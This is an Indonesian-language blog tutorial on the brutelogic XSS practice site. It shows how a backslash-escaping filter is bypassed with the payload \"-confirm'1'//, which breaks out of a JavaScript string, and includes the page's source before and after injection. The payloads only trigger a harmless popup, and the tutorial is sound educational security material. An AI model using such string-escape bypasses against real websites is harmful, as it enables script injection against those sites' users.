Hari ini saya akan membahas mengenai salah satu contoh bypass serangan XSS. sebelumnya saya sudah memberikan post mengenai serangan XSS yaitu GET dan POST pada serangan XSS dan Tipe Serangan XSS.

Pernah tidak kalian melihat list payload xss yang isinya hanya

\”-confirm(1)//

saya akan jelaskan alur penyerangan xss jika menggunakan payload yang jenisnya seperti itu. Saya testing menggunakan salah satu website yang isinya mengenai XSS yaitu brutelogic karya Rodolfo Assis.

Jika sudah membuka website itu maka hanya akan terlihat seperti ini

Tampilan awal test yang akan kita coba

Jika dilihat dari view-source: maka akan terlihat seperti ini

<script type="text/javascript">
  $(document).ready(function () {
     $("#mySelection").on("change", function () {
             if ($(this).val() === "date") {document.location = "jsfix.phpkeyword=xss&pageIndex=1&startFrom=0&sortByDate=1";
             } else {
                 document.location = "jsfix.php?keyword=xss&pageIndex=1&startFrom=0";
             }
    });
 });
</script>

Kemudian kita masukkan payload sederhana XSS yaitu

"-confirm'1'-"

Lalu kita cek lagi pada view-source: maka akan terlihat seperti ini

<script type="text/javascript">
  $(document).ready(function () {
     $("#mySelection").on("change", function () {
             if ($(this).val() === "date") {document.location = "jsfix.phpkeyword=\"-confirm(1)-\"&pageIndex=1&startFrom=0&sortByDate=1";
             } else {
                 document.location = "jsfix.php?keyword=\"-confirm(1)-\"&pageIndex=1&startFrom=0";
             }
    });
 });
</script>

Namun pada saat dilihat dari view-source: terlihat bahwa payload yang kita masukkan terdapat backslash di setiap doublequote, kita harus membypass backslash tersebut dengan menambah sedikit character di payload kita yang tadi menjadi

\"-confirm'1'//
<script type="text/javascript">
  $(document).ready(function () {
     $("#mySelection").on("change", function () {
             if ($(this).val() === "date") {document.location = "jsfix.phpkeyword=\\"-confirm'1'//&pageIndex=1&startFrom=0&sortByDate=1";
             } else {
                 document.location = "jsfix.php?keyword=\\"-confirm'1'//&pageIndex=1&startFrom=0";
             }
    });
 });
</script>

Membuat komentar setelah payload juga dibutuhkan makanya menggunakan //

Alert XSS Popup

Sekian tutorial di post ini, tunggu di post-post yang akan datang!

Sumber: BruteLogic